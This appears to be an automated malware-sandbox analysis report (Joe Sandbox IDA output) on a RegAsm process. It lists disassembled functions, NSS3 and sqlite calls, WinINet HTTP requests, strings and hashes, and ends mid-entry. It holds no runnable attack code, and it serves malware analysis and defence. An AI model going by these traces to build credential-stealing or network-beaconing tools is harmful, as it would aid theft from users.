Part of subcall function 6C4B5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C4B7703), ref: 6C4B5954
Part of subcall function 6C4B5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C4B596A
Part of subcall function 6C4B5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C4B5984
Part of subcall function 6C4B5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C4B5999
Part of subcall function 6C4B5920: free.MOZGLUE(00000000), ref: 6C4B59BA
Part of subcall function 6C4B5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C4B59D3
Part of subcall function 6C4B5920: free.MOZGLUE(00000000), ref: 6C4B59F5
Part of subcall function 6C4B5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C4B5A0A
Part of subcall function 6C4B5920: free.MOZGLUE(00000000), ref: 6C4B5A2E
Part of subcall function 6C4B5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C4B5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C4878F8), ref: 6C4C4EB3

Part of subcall function 6C4C4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C4C4EB8,?,?,?,?,?,?,?,?,?,?,6C4878F8), ref: 6C4C484C
Part of subcall function 6C4C4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C4C4EB8,?,?,?,?,?,?,?,?,?,?,6C4878F8), ref: 6C4C486D
Part of subcall function 6C4C4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C4C4EB8,?), ref: 6C4C4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C4878F8), ref: 6C4C4EC0

Part of subcall function 6C4C4470: TlsGetValue.KERNEL32(00000000,?,6C487296,00000000), ref: 6C4C4487
Part of subcall function 6C4C4470: EnterCriticalSection.KERNEL32(?,?,?,6C487296,00000000), ref: 6C4C44A0
Part of subcall function 6C4C4470: PR_Unlock.NSS3(?,?,?,?,6C487296,00000000), ref: 6C4C44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C4878F8), ref: 6C4C4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C4878F8), ref: 6C4C4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C4878F8), ref: 6C4C4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C4878F8), ref: 6C4C4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C4878F8), ref: 6C4C4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C4878F8), ref: 6C4C4F8F
PK11_UpdateSlotAttribute.NSS3(?,6C59DCB0,00000000), ref: 6C4C4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C4C501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C4878F8), ref: 6C4C506B

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: c64f7c710ce87e8d176b0a701da8deeebb42678f96b8a54836d2cad010331643
Instruction ID: fec6ad715783ffef66338e84313217c14c5c2cfc5b80a54873538c41b8c1c695
Opcode Fuzzy Hash: c64f7c710ce87e8d176b0a701da8deeebb42678f96b8a54836d2cad010331643
Instruction Fuzzy Hash: FA5103B9E002019BEB01DF25EC01EAA76B4EF0535EF150138EC0696B21FB31E915CAE7

Function 6C46ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C46ACE2
malloc.MOZGLUE(00000001), ref: 6C46ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C46AD02
TlsGetValue.KERNEL32 ref: 6C46AD3C
calloc.MOZGLUE(00000001,?), ref: 6C46AD8C
PR_Unlock.NSS3 ref: 6C46ADC0
free.MOZGLUE(00000000), ref: 6C46AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C46AE58
free.MOZGLUE(00000000), ref: 6C46AE69
free.MOZGLUE(?), ref: 6C46AE78
PR_Unlock.NSS3 ref: 6C46AE8C
free.MOZGLUE(?), ref: 6C46AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C46AEC7

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 4cb28613af993ede68c4c457c8409bf42864b8e0f06decce65a4ab1284eab00f
Instruction ID: e4136dce846dc07b2b1b628d8241d503ebaf67a9ddac1e82fb0142ab584fcff0
Opcode Fuzzy Hash: 4cb28613af993ede68c4c457c8409bf42864b8e0f06decce65a4ab1284eab00f
Instruction Fuzzy Hash: B6519AB0A41A259BDF00DF9ADC45EAE77B5EF06359F050029E805A7F00D331BA45CBEA

Function 004152C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,01502750), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,01502088,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
lstrlenA.KERNEL32(00000000), ref: 0041532F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
lstrlenA.KERNEL32(00000000), ref: 00415383
strtok.MSVCRT(00000000,?), ref: 0041539E
lstrlenA.KERNEL32(00000000), ref: 004153AE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

ERROR, xrefs: 004153B9
ERROR, xrefs: 0041530A
ERROR, xrefs: 00415432
ERROR, xrefs: 004154A9
ERROR, xrefs: 0041546F

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3532888709-1526165396
Opcode ID: 4a2ea036609cd15b672270c35ab07a18dfd7f62b3a06473966441f12aab465d2
Instruction ID: 2e955e57ea7f1c083e6e45f715f374ff83ee784ca3e0e9be4ff8c8b21657e330
Opcode Fuzzy Hash: 4a2ea036609cd15b672270c35ab07a18dfd7f62b3a06473966441f12aab465d2
Instruction Fuzzy Hash: 1A514130911108EBCB14FF61CD92AED7779AF50358F50402EF80A6B591DF386B96CB6A

Function 6C544C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C544CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C544CFD
sqlite3_value_text16.NSS3(?), ref: 6C544D44

Strings

invalid, xrefs: 6C544CF1
bad parameter or other API misuse, xrefs: 6C544D05
abort due to ROLLBACK, xrefs: 6C544D27, 6C544D33
out of memory, xrefs: 6C544C78, 6C544C9E
another row available, xrefs: 6C544D20
unknown error, xrefs: 6C544D56
no more rows available, xrefs: 6C544D2E
API call with %s database connection pointer, xrefs: 6C544CF6

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 6616b7fd87b92775a9e3805ba21952d50fe098e7fd2d1a2228ebbce1734ed3cb
Instruction ID: abdb078b6f1cb5ac802598a5a5fa0d5719041f84daac4afad17d0cb2abfc312a
Opcode Fuzzy Hash: 6616b7fd87b92775a9e3805ba21952d50fe098e7fd2d1a2228ebbce1734ed3cb
Instruction Fuzzy Hash: 78319973EC4951A7E7088E24AC01BA973617792318F1AC529D8246BE58DF71AC5283E2

Function 6C4A2CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C4A2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C4A2D07

Part of subcall function 6C5809D0: PR_Now.NSS3 ref: 6C580A22
Part of subcall function 6C5809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C580A35
Part of subcall function 6C5809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C580A66
Part of subcall function 6C5809D0: PR_GetCurrentThread.NSS3 ref: 6C580A70
Part of subcall function 6C5809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C580A9D
Part of subcall function 6C5809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C580AC8
Part of subcall function 6C5809D0: PR_vsmprintf.NSS3(?,?), ref: 6C580AE8
Part of subcall function 6C5809D0: EnterCriticalSection.KERNEL32(?), ref: 6C580B19
Part of subcall function 6C5809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C580B48
Part of subcall function 6C5809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C580C76
Part of subcall function 6C5809D0: PR_LogFlush.NSS3 ref: 6C580C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C4A2D22

Part of subcall function 6C5809D0: OutputDebugStringA.KERNEL32(?), ref: 6C580B88
Part of subcall function 6C5809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C580C5D
Part of subcall function 6C5809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C580C8D
Part of subcall function 6C5809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C580C9C
Part of subcall function 6C5809D0: OutputDebugStringA.KERNEL32(?), ref: 6C580CD1
Part of subcall function 6C5809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C580CEC
Part of subcall function 6C5809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C580CFB
Part of subcall function 6C5809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C580D16
Part of subcall function 6C5809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C580D26
Part of subcall function 6C5809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C580D35
Part of subcall function 6C5809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C580D65
Part of subcall function 6C5809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C580D70
Part of subcall function 6C5809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C580D90
Part of subcall function 6C5809D0: free.MOZGLUE(00000000), ref: 6C580D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C4A2D3B

Part of subcall function 6C5809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C580BAB
Part of subcall function 6C5809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C580BBA
Part of subcall function 6C5809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C580D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C4A2D54

Part of subcall function 6C5809D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C580BCB
Part of subcall function 6C5809D0: EnterCriticalSection.KERNEL32(?), ref: 6C580BDE
Part of subcall function 6C5809D0: OutputDebugStringA.KERNEL32(?), ref: 6C580C16

Strings

nXl, xrefs: 6C4A2D6C, 6C4A2D9A
slotID = 0x%x, xrefs: 6C4A2D02
pLabel = 0x%p, xrefs: 6C4A2D4F
pPin = 0x%p, xrefs: 6C4A2D1D
ulPinLen = %d, xrefs: 6C4A2D36
C_InitToken, xrefs: 6C4A2CE7

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nXl
API String ID: 420000887-355772457
Opcode ID: 03b8314d497cb67dab5429b46d9f63cf64f02bd9f78e575347271342bd5feb6f
Instruction ID: ed6d155ba90f265847403be0e877c7bf7d31327e1b462e3fd3d0fc93d3b9dc9a
Opcode Fuzzy Hash: 03b8314d497cb67dab5429b46d9f63cf64f02bd9f78e575347271342bd5feb6f
Instruction Fuzzy Hash: 6A210635202254EFDB10EF91CC4CE597BB1EBC6319F058056E50897A23DB30AC4ADBAA

Function 6C412450 Relevance: 19.2, APIs: 15, Instructions: 440COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4124BA
LeaveCriticalSection.KERNEL32(?), ref: 6C41250D
EnterCriticalSection.KERNEL32(?), ref: 6C412554
LeaveCriticalSection.KERNEL32(?), ref: 6C4125A7
EnterCriticalSection.KERNEL32(?), ref: 6C412609
LeaveCriticalSection.KERNEL32(?), ref: 6C41265F
EnterCriticalSection.KERNEL32(?), ref: 6C4126A2
LeaveCriticalSection.KERNEL32(?), ref: 6C4126F5
EnterCriticalSection.KERNEL32(?), ref: 6C412764
LeaveCriticalSection.KERNEL32(?), ref: 6C412898
EnterCriticalSection.KERNEL32(?), ref: 6C4128D0
EnterCriticalSection.KERNEL32(?), ref: 6C412948
LeaveCriticalSection.KERNEL32(?), ref: 6C41299B
EnterCriticalSection.KERNEL32(?), ref: 6C4129E2
LeaveCriticalSection.KERNEL32(?), ref: 6C412A31

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: d57fa81aceb9f995a1158b32cd01f531299f155d6292c49e67cae08cdeb02e1e
Instruction ID: e87ac1729927b6962afd091f13ef56c15c38f01e615d84a7fe478a2c37db1f78
Opcode Fuzzy Hash: d57fa81aceb9f995a1158b32cd01f531299f155d6292c49e67cae08cdeb02e1e
Instruction Fuzzy Hash: CAF17F31B096108BDB14DF60DD8DE7A3370BB47315B1A012DD856ABA40DF39AA81CBDE

Function 6C542D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C542D9F

Part of subcall function 6C3FCA30: EnterCriticalSection.KERNEL32(?,?,?,6C45F9C9,?,6C45F4DA,6C45F9C9,?,?,6C42369A), ref: 6C3FCA7A
Part of subcall function 6C3FCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C3FCB26

sqlite3_exec.NSS3(?,?,6C542F70,?,?), ref: 6C542DF9
sqlite3_free.NSS3(00000000), ref: 6C542E2C
sqlite3_free.NSS3(?), ref: 6C542E3A
sqlite3_free.NSS3(?), ref: 6C542E52
sqlite3_mprintf.NSS3(6C5AAAF9,?), ref: 6C542E62
sqlite3_free.NSS3(?), ref: 6C542E70
sqlite3_free.NSS3(?), ref: 6C542E89
sqlite3_free.NSS3(?), ref: 6C542EBB
sqlite3_free.NSS3(?), ref: 6C542ECB
sqlite3_free.NSS3(00000000), ref: 6C542F3E
sqlite3_free.NSS3(?), ref: 6C542F4C

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 271e1b058088762db63921a3c4da6a44167d0bb3780bcfb92f7a3c8769ab178d
Instruction ID: 2d4ba5462b342d39908cd4c385044ac24f691e5486a6b83711685dc5f1761bec
Opcode Fuzzy Hash: 271e1b058088762db63921a3c4da6a44167d0bb3780bcfb92f7a3c8769ab178d
Instruction Fuzzy Hash: F4619FB5E002159BEB00CFA8DC85BAEB7B1AF58348F158428DC55E7701E735E856CFA1

Function 6C3F4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4D97
PR_Lock.NSS3(?,?,?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4DBA
PR_WaitCondVar.NSS3 ref: 6C3F4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4DEF

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 0e179037cf5a98cdaf7d4df863126fc5dd625a27a64363bf515a41e093b4bd1e
Instruction ID: 2052eeb9d1768aaaa765d0733675a89cc7dedcc86daed1b2f777d25f2ce6f245
Opcode Fuzzy Hash: 0e179037cf5a98cdaf7d4df863126fc5dd625a27a64363bf515a41e093b4bd1e
Instruction Fuzzy Hash: C94172B5A04725CFCB00AF78D984559B7B4BF05318F064A69E8589BB11E730E885CFD9

Function 6C494E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C494E90
EnterCriticalSection.KERNEL32 ref: 6C494EA9
TlsGetValue.KERNEL32 ref: 6C494EC6
EnterCriticalSection.KERNEL32 ref: 6C494EDF
PL_HashTableLookup.NSS3 ref: 6C494EF8
PR_Unlock.NSS3 ref: 6C494F05
PR_Now.NSS3 ref: 6C494F13
PR_Unlock.NSS3 ref: 6C494F3A

Part of subcall function 6C4607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C3F204A), ref: 6C4607AD
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C3F204A), ref: 6C4607CD
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C3F204A), ref: 6C4607D6
Part of subcall function 6C4607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C3F204A), ref: 6C4607E4
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,6C3F204A), ref: 6C460864
Part of subcall function 6C4607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C460880
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,?,6C3F204A), ref: 6C4608CB
Part of subcall function 6C4607A0: TlsGetValue.KERNEL32(?,?,6C3F204A), ref: 6C4608D7
Part of subcall function 6C4607A0: TlsGetValue.KERNEL32(?,?,6C3F204A), ref: 6C4608FB

Strings

bUIl, xrefs: 6C494E5C
bUIl, xrefs: 6C494F3F

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUIl$bUIl
API String ID: 326028414-2371435661
Opcode ID: 5f020c839b3cd148a8f486f4a7314b6f3f6f527f1a39d38ae659126b4dae4c24
Instruction ID: c9f606869b076449055570b3088209b3e66325b79e15129eac9c0d28ceb60624
